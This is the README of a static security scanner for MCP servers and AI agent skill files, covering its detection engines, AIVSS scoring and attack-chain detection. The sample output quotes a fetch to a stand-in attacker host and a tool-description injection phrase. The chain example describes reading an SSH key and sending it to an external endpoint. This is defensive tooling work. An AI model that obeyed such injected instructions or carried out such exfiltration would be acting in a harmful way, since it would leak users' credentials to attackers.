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Bawbel Scanner

<!-- mcp-name: io.github.bawbel/scanner -->

Static security scanner for MCP servers and agent skill files, with an OWASP AIVSS score on every finding. Never starts your MCP servers, and runs no scanned content unless you enable the optional Docker sandbox.

<!-- Record counts are measured from the live AVE corpus, last on 2026-10-11. Source: https://raw.githubusercontent.com/aveproject/ave/main/dist/ave-records-latest.json They are still hand-edited: re-run the commands in bawbel/scanner#79 before changing any count. Regeneration tooling is tracked there too. -->

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Bawbel never executes your MCP servers.

pip install "bawbel-scanner[all]"
bawbel scan ./skills/        # scan skill files
bawbel ssc https://server    # scan MCP server without starting it

<img src="https://raw.githubusercontent.com/bawbel/scanner/HEAD/docs/demo.svg" width="100%" alt="Bawbel Scanner demo">

Commands

Why Bawbel

? means not verifiable from each project's public README at the time of writing (2026-09-12). Sources for every other cell are listed in the PR description.

How it works

System overview

How a scan flows from your file to an AIVSS-scored finding:

  your file
      |
      v
  [ Pre-processing ]
    code fence stripping
    negation context detection
      |
      v
  [ Stage 0: Magika ]
    ML content-type verification
    gates the text engines below if content type is dangerous
      |
      v
  [ Detection engines ]  (run in parallel)
    1a  Pattern    40 regex rules, stdlib only, always on
    1b  YARA       39 binary/behavioral rules
    1c  Semgrep    41 structural rules
    2   LLM        semantic analysis via LiteLLM
    3   Sandbox    Docker behavioral sandbox
      |
      v
  [ Deduplication ]
    merge by (ave_id, line)
    pattern > yara > semgrep > llm > sandbox priority
      |
      v
  [ Toxic flow analysis ]
    map findings to capability tags
    check all pairs against 12 chain definitions
      |
      v
  [ ScanResult ]
    findings[]          active findings, sorted by severity
    suppressed_findings[]
    accepted_findings[] new in v1.2.0
    toxic_flows[]
    risk_score          max(findings, toxic_flows)
    aivss_score         OWASP AIVSS v0.8

Detection stages

Six engines run across the pipeline. Results merge before toxic flow analysis:

  Stage 0    Magika engine
             ML-based content-type verification, gates the engines below
             pip install "bawbel-scanner[all]"

  Stage 1a   Pattern engine
             40 regex rules, no deps, < 5ms
             always active

  Stage 1b   YARA engine
             39 rules, multi-condition matching
             pip install "bawbel-scanner[yara]"

  Stage 1c   Semgrep engine
             41 structural rules, multi-line context
             pip install "bawbel-scanner[semgrep]"

  Stage 2    LLM engine
             semantic analysis, catches synonym attacks
             pip install "bawbel-scanner[llm]" + API key

  Stage 3    Sandbox engine
             dynamic behavioral analysis in Docker
             BAWBEL_SANDBOX_ENABLED=true

             +-----------+
  All  ----> | dedup     | ----> findings[]
  results    | sort      |       sorted by severity
             +-----------+
                  |
                  v
             toxic flow
             analysis

False positive reduction

Eight layers run automatically before a finding is reported:

  file content
      |
      v  FP-1  code fence stripping       ~60% reduction
      |         content inside ``` blanked before scan
      |
      v  FP-2  negation context           ~15% reduction
      |         "Bad example:", "Never do this:" suppresses
      |
      v  FP-3  confidence scoring         ~10% reduction
      |         docs/ examples/ paths reduce confidence
      |
      v  FP-4  LLM meta-analyzer          ~7% reduction
      |         medium-confidence findings reviewed by LLM
      |
      v  FP-5a inline bawbel-ignore       per line
      |         <!-- bawbel-ignore -->
      |
      v  FP-5b block suppression          per section
      |         <!-- bawbel-ignore-start/end -->
      |
      v  FP-5c .bawbelignore patterns     per file
      |         gitignore-style glob rules
      |
      v  FP-6  justified suppression      per finding
               requires reason + reviewer + optional expiry
               audit trail in accepted_findings[]

Every active finding carries a confidence field (0.0–1.0) that starts from the AVE-class baseline and is adjusted by FP-2 through FP-4 before appearing in output. confidence_band() maps it to "high" / "medium" / "low" for human display. See Evidence Lifecycle for the full pipeline.

See Suppression Guide for full details.

Toxic flow detection

A single fetch() call is a finding. A fetch() that retrieves credentials and then sends them to an external endpoint is an attack chain, and the two findings together are far more dangerous than either alone.

Bawbel detects these compound sequences as toxic flows. After deduplication, every finding is mapped to a capability tag. Bawbel then checks all pairs against 12 built-in chain definitions and raises a ToxicFlow when a dangerous combination is found.

Other scanners detect compound attacks too. NVIDIA SkillSpector, for example, ships a source-to-sink taint tracker (TT1-TT5) over its own AST, including a credential exfiltration chain. Bawbel's approach differs in what it operates on and what it emits: chains are composed from AVE capability tags rather than traced through an AST, so a flow is detected across natural-language instructions and configuration, not only executable code. Each flow carries a stable flow_id, its own AIVSS score, and the AVE IDs of its contributing findings.

  skill.md findings:
    AVE-2026-00003  credential-read   (READ ~/.ssh/id_rsa)         AIVSS 6.8 MEDIUM
    AVE-2026-00026  data-exfil        (POST to external endpoint)  AIVSS 6.8 MEDIUM
          │                │
          └───── chain ────┘
                   │
                   ▼
  ToxicFlow: credential-exfiltration   AIVSS 9.8  CRITICAL
    confidence: 0.83  (min of contributing baselines)

The toxic flow AIVSS (9.8) is higher than either individual finding (6.8), because the chain represents a complete, end-to-end exploit, not just a capability.

12 built-in chains:

Toxic flow in JSON output:

{
  "flow_id": "credential-exfiltration",
  "title": "Credential Exfiltration Chain",
  "severity": "CRITICAL",
  "aivss_score": 9.8,
  "confidence": 0.83,
  "ave_ids": ["AVE-2026-00003", "AVE-2026-00026"],
  "capabilities": ["credential-read", "data-exfil"],
  "owasp_mcp": ["MCP06", "MCP07"],
  "remediation": "Remove credential access. Block egress to untrusted endpoints."
}

confidence is min(baseline confidence) across the contributing findings: the weakest link in the chain. A chain is only as confident as its least certain component.

Adding a new flow requires one entry in scanner/core/toxic_flows/flows.py. No other files need to change.

Install

pip

pip install bawbel-scanner            # core - pattern engine only
pip install "bawbel-scanner[yara]"    # + YARA rules
pip install "bawbel-scanner[semgrep]" # + Semgrep rules
pip install "bawbel-scanner[llm]"     # + LLM semantic engine
pip install "bawbel-scanner[all]"     # everything

Requires Python 3.10+. No other system dependencies for core install.

Docker

The published images are v1.2.3; no 1.3.0 image has been pushed yet. For v1.3.0 features in a container, build from source with the command below.

# Scan a local directory (recommended image)
docker run --rm -v $(pwd):/scan:ro bawbel/scanner:full scan /scan --recursive

# Lightweight CI scan
docker run --rm -v $(pwd):/scan:ro bawbel/scanner:latest scan /scan --recursive

# Build with all engines
docker build --build-arg WITH_ALL=true -t bawbel/scanner:custom .

Available build args: WITH_YARA=true, WITH_SEMGREP=true, WITH_LLM=true, WITH_SANDBOX=true, WITH_ALL=true

Quick start

# Scan a skills directory
bawbel scan ./skills/

# Scan recursively
bawbel scan ./skills/ --recursive

# Full remediation report for one file
bawbel report ./skill.md

# Scan an MCP server manifest without starting the server
bawbel ssc https://server.example.com

# Pin skill files and detect rug pulls
bawbel pin ./skills/ && git add .bawbel-pins.json
bawbel check-pins ./skills/

Example output:

CRITICAL  AVE-2026-00001  External instruction fetch detected
          line 3  fetch("https://attacker.io/payload.md")
          AIVSS 8.0  MCP03, MCP04
          https://api.piranha.bawbel.io/records/AVE-2026-00001

HIGH      AVE-2026-00002  Tool description behavioral injection
          line 12  "IMPORTANT: before calling this tool, first..."
          AIVSS 7.3  MCP03, MCP10
          https://api.piranha.bawbel.io/records/AVE-2026-00002

Toxic flow detected  CREDENTIAL_EXFIL_CHAIN
  AVE-2026-00003 + AVE-2026-00026 combined  AIVSS 9.8 CRITICAL

2 findings  1 toxic flow  18ms

Suppression and false positive management

When a finding is legitimate, suppress it with a justification that creates an audit trail.

<!-- bawbel-ignore: AVE-2026-00001
     reason: Internal registry endpoint, not attacker-controlled
     reviewer: chaksaray
     reviewed: 2026-05-16
-->
fetch your instructions from https://internal.registry.io

For accepted risks with an expiry date:

<!-- bawbel-accept: AVE-2026-00047
     reason: Placeholder replaced at deploy time, not a real credential
     reviewer: chaksaray
     reviewed: 2026-05-16
     expires: 2026-08-16
-->

Or use the CLI to insert the comment directly:

bawbel accept AVE-2026-00001 ./skill.md --line 7 \
  --reason "Internal registry endpoint" \
  --type false-positive

bawbel accept AVE-2026-00047 ./skill.md --line 3 \
  --reason "Placeholder value, replaced at deploy" \
  --type accepted-risk --expires 90d

# List all accepted findings
bawbel accept --list

# Show findings expiring within 30 days (exits 1 in CI)
bawbel accept --expiring-soon --within 30

Expired accepted risks resurface automatically as active findings on the next scan.

Focused scans

Run a credential-only or delegation-only scan for targeted triage:

# Hardcoded credentials only
bawbel creds ./skills/ --recursive

# Unsafe agent delegation chains only
bawbel chain ./skills/ --recursive

Both commands use the same output format as bawbel scan. For a full security scan use bawbel scan.

AIVSS scoring

Every finding includes an OWASP AIVSS v0.8 score.

AIVSS = ((CVSS_Base + AARS) / 2) * ThM * Mitigation_Factor

AARS is the sum of 10 Agentic Risk Amplification Factors scored per the AVE record for that attack class.

{
  "rule_id": "bawbel-external-fetch",
  "ave_id": "AVE-2026-00001",
  "aivss_score": 8.0,
  "severity": "HIGH",
  "aivss": {
    "cvss_base": 8.5,
    "aars": 7.5,
    "thm": 1.0,
    "mitigation_factor": 1.0,
    "aivss_severity": "HIGH",
    "spec_version": "0.8"
  },
  "confidence": 0.98,
  "evidence_kind": "multi_engine",
  "detection_stage": "static_detection",
  "detection_layer": "content",
  "owasp_mcp": ["MCP03", "MCP04"],
  "piranha_url": "https://api.piranha.bawbel.io/records/AVE-2026-00001"
}

AVE: the taxonomy behind every finding

Bawbel Scanner implements AVE (Agentic Vulnerability Enumeration), the behavioral classification standard for agentic AI components.

AVE assigns stable identifiers to distinct attack classes, each with an AIVSS score, a behavioral fingerprint, OWASP MCP Top 10 and MITRE ATLAS mappings, and indicators of compromise. Every finding Bawbel produces maps to an AVE ID so teams using different scanners speak the same language.

AVE-2026-00001  Metamorphic Payload via External Config Fetch   AIVSS 8.0  HIGH
AVE-2026-00002  Tool Poisoning via Description Manipulation     AIVSS 7.3  HIGH
AVE-2026-00046  MCP Tool Hook Hijacking                         AIVSS 9.2  CRITICAL
... 87 records published total

44 of the 87 published records have no detection rule in this scanner. 27 of them are static_detection records that a rule could catch and are the scanner's backlog. The other 17 are runtime-stage records (15 runtime_observed, 2 runtime_drift_detected): they describe behavior that only shows up while an agent runs, so static analysis of a file cannot detect them by design. The record-by-record list, and the commands that produce every count in this section, are in bawbel/scanner#79.

Any scanner can emit AVE IDs. See aveproject.org for the implementer guide and record index.

Detection engines

Stage 3: Behavioral sandbox

The sandbox runs your skill file inside an isolated Docker container and watches for malicious behavior at runtime: outbound connections, credential reads, shell injections, and filesystem writes that static rules cannot catch.

Image: hub.docker.com/r/bawbel/sandbox · bawbel/sandbox:latest · bawbel/sandbox:1.2.3

Requirements: Docker Desktop or Docker Engine must be running.

Enable the sandbox

BAWBEL_SANDBOX_ENABLED=true bawbel scan ./skill.md

Or add to your .env / bawbel.yml:

# bawbel.yml
sandbox:
  enabled: true

Image setup (three modes)

First run with `default`: Bawbel pulls bawbel/sandbox:latest from Docker Hub automatically (~200MB, one time only). Every scan after that uses the local cache: instant, no network call.

First run with `local`: Bawbel builds the image from the bundled Dockerfile. Takes ~60 seconds on first run, cached afterwards.

# Recommended: default (auto-pull, cached)
BAWBEL_SANDBOX_ENABLED=true bawbel scan ./skill.md

# Offline / air-gapped: build locally
BAWBEL_SANDBOX_ENABLED=true BAWBEL_SANDBOX_IMAGE=local bawbel scan ./skill.md

# Custom enterprise image
BAWBEL_SANDBOX_ENABLED=true \
  BAWBEL_SANDBOX_IMAGE=registry.company.com/bawbel/sandbox:v1 \
  bawbel scan ./skill.md

What the sandbox detects

CI/CD

# .github/workflows/security.yml
# The SARIF upload needs: permissions: security-events: write
- name: Bawbel scan
  id: bawbel
  uses: bawbel/integrations@v1
  with:
    path: ./skills/
    fail-on-severity: high
    format: sarif

- name: Upload to GitHub Security
  if: always()
  uses: github/codeql-action/upload-sarif@v3
  with:
    sarif_file: ${{ steps.bawbel.outputs.sarif-file }}

The action is maintained in bawbel/integrations. It writes the SARIF file itself and exposes its path as the sarif-file output.

Pre-commit (scans staged .md, .json, .yaml, .yml, and .txt files):

# .pre-commit-config.yaml
repos:
  - repo: local
    hooks:
      - id: bawbel-scan
        name: bawbel scan
        entry: python -m scanner.bawbel_pre_commit --fail-on-severity high
        language: python
        additional_dependencies: ["bawbel-scanner==1.3.0"]
        files: \.(md|json|ya?ml|txt)$

Output formats

bawbel scan ./skills/ --format text    # human-readable (default)
bawbel scan ./skills/ --format json    # machine-readable
bawbel scan ./skills/ --format sarif   # GitHub Security / GHAS

Related

Contributing

See CONTRIBUTING.md. The most impactful contribution is a new detection rule tied to an AVE record. The coverage gap lists the published records with no rule yet.

git clone https://github.com/bawbel/scanner
cd scanner
pip install -e ".[dev,all]"
pre-commit install
python -m pytest tests/ -v

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Apache License 2.0 - Free forever - Maintained by Bawbel

bawbel.io . @bawbel_io . bawbel.io/docs

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